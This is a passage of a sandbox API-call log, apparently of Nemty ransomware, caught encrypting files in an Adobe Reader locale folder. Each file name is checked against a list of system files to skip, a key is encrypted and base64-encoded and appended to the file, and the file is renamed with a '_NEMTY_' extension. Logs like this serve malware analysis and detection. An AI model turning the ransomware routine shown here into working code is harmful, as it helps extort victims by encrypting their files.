(in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.162] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.EUQ", cAlternateFileName="MULTIM~1.EUQ")) returned 1 [0176.162] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2=".") returned 1 [0176.162] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="..") returned 1 [0176.162] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="...") returned 1 [0176.162] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="windows") returned -1 [0176.162] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.162] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="rsa") returned -1 [0176.162] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="NTDETECT.COM") returned -1 [0176.162] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="ntldr") returned -1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="IO.SYS") returned 1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="boot.ini") returned 1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="boot.ini") returned 1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="ntuser.dat") returned -1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="desktop.ini") returned 1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="RECYCLER") returned -1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="bootmgr") returned 1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="programdata") returned -1 [0176.163] lstrcmpiW (lpString1="Multimedia.EUQ", lpString2="appdata") returned 1 [0176.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.EUQ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.EUQ", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.EUQ", lpUsedDefaultChar=0x0) returned 14 [0176.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.EUQ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.EUQ", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.EUQ", lpUsedDefaultChar=0x0) returned 14 [0176.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.EUQ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.EUQ", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.EUQ", lpUsedDefaultChar=0x0) returned 14 [0176.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.EUQ", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.EUQ", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.EUQ", lpUsedDefaultChar=0x0) returned 14 [0176.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.163] Sleep (dwMilliseconds=0x5) [0176.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ca6cc90, dwHighDateTime=0x1d561e8)) [0176.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ca6cc90, dwHighDateTime=0x1d561e8)) [0176.169] GetLastError () returned 0x0 [0176.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.169] GetLastError () returned 0x0 [0176.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.169] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.169] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.169] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.169] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="csBs+Y2LUPW0NyTXV6dun5cjNCSo+nYc0c2sK8daur0TX5Lo/sT2T26wYrMcWra5\r\nMiEmvQQYCqqcIZCbB8rbpVd7aB4wOXAoTa4lT/cqCXJyoFly3ULSc44Chtwbf/4F\r\nkT9KJC9EpS82M7PmukX/B3FNGAWrKOOeRFt89RtP9zQa/ZBTnNiPI0wuEGGvelb9\r\nWmT4fvfM21aEtmVpApJC4ZDzN3lhbG84UDy9x+0pLeosGjW6myBjNw9P0sUqQJLO\r\nEWgwkq73SGgNmAjG5Eh7Kb7MYdCZpD/jejg6JafFHElRU5BJB8McmBJH528TAXKy\r\n5X8XNF2tDtlL9DiMqiuSUw==\r\n", pcchString=0x653e5dc) returned 1 [0176.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.169] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Multimedia.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\multimedia.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.170] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=81408) returned 1 [0176.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13e00) returned 0x6352c48 [0176.170] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.170] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13e00, lpOverlapped=0x0) returned 1 [0176.179] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.180] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13e00, lpOverlapped=0x0) returned 1 [0176.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.180] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=81408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13e00 [0176.180] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.180] CloseHandle (hObject=0x2e8) returned 1 [0176.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.180] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Multimedia.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\multimedia.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Multimedia.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\multimedia.euq._nemty_kgobjgd_")) returned 1 [0176.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.181] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.EUQ", cAlternateFileName="")) returned 1 [0176.181] lstrcmpiW (lpString1="pddom.EUQ", lpString2=".") returned 1 [0176.181] lstrcmpiW (lpString1="pddom.EUQ", lpString2="..") returned 1 [0176.181] lstrcmpiW (lpString1="pddom.EUQ", lpString2="...") returned 1 [0176.181] lstrcmpiW (lpString1="pddom.EUQ", lpString2="windows") returned -1 [0176.181] lstrcmpiW (lpString1="pddom.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.181] lstrcmpiW (lpString1="pddom.EUQ", lpString2="rsa") returned -1 [0176.181] lstrcmpiW (lpString1="pddom.EUQ", lpString2="NTDETECT.COM") returned 1 [0176.181] lstrcmpiW (lpString1="pddom.EUQ", lpString2="ntldr") returned 1 [0176.181] lstrcmpiW (lpString1="pddom.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.181] lstrcmpiW (lpString1="pddom.EUQ", lpString2="IO.SYS") returned 1 [0176.181] lstrcmpiW (lpString1="pddom.EUQ", lpString2="boot.ini") returned 1 [0176.182] lstrcmpiW (lpString1="pddom.EUQ", lpString2="boot.ini") returned 1 [0176.182] lstrcmpiW (lpString1="pddom.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.182] lstrcmpiW (lpString1="pddom.EUQ", lpString2="ntuser.dat") returned 1 [0176.182] lstrcmpiW (lpString1="pddom.EUQ", lpString2="desktop.ini") returned 1 [0176.182] lstrcmpiW (lpString1="pddom.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.182] lstrcmpiW (lpString1="pddom.EUQ", lpString2="RECYCLER") returned -1 [0176.182] lstrcmpiW (lpString1="pddom.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.182] lstrcmpiW (lpString1="pddom.EUQ", lpString2="bootmgr") returned 1 [0176.182] lstrcmpiW (lpString1="pddom.EUQ", lpString2="programdata") returned -1 [0176.182] lstrcmpiW (lpString1="pddom.EUQ", lpString2="appdata") returned 1 [0176.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.EUQ", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.EUQ", lpUsedDefaultChar=0x0) returned 9 [0176.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.EUQ", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.EUQ", lpUsedDefaultChar=0x0) returned 9 [0176.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.EUQ", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.EUQ", lpUsedDefaultChar=0x0) returned 9 [0176.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.EUQ", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.EUQ", lpUsedDefaultChar=0x0) returned 9 [0176.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.182] Sleep (dwMilliseconds=0x5) [0176.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cb2b370, dwHighDateTime=0x1d561e8)) [0176.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cb2b370, dwHighDateTime=0x1d561e8)) [0176.260] GetLastError () returned 0x0 [0176.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.260] GetLastError () returned 0x0 [0176.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.260] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.260] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.260] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.260] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="XBtDpC3J0hEEvaSX+KcZcCJu048btxMMs2EK3Q/R+xehpda7OaevRxWycTKHnXkK\r\ntI401J5geF4AeeSc2gDeOwUUQTKNGN/FyQU+lEE6eHfKw8LtodwMlZm2YVS7qdVS\r\nQtHOc1MbGjyTuS2UCekVUBmPfdpbCzXMe7B/k8/i1VsTO/egv4te5IvWaYcEyzE5\r\nUgK/69pZ8IpDm6uTQUK2IyhO2FrEeHm0AJgawb6rFCkNsCJpoUMBrdiZY087SAPN\r\n3cZ4i/sZyf8hZ6moVtiiuGHTg4UKSQEJ5mMpgVHwiGdxW/ia6mwuyjqzVo867/wP\r\nFOhbtdwsNpZKs7aBFwsFxA==\r\n", pcchString=0x653e5dc) returned 1 [0176.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\pddom.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\pddom.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.261] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0176.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0176.261] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.261] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0176.263] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.263] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0176.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.264] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0176.264] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.264] CloseHandle (hObject=0x2e8) returned 1 [0176.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.264] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0176.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 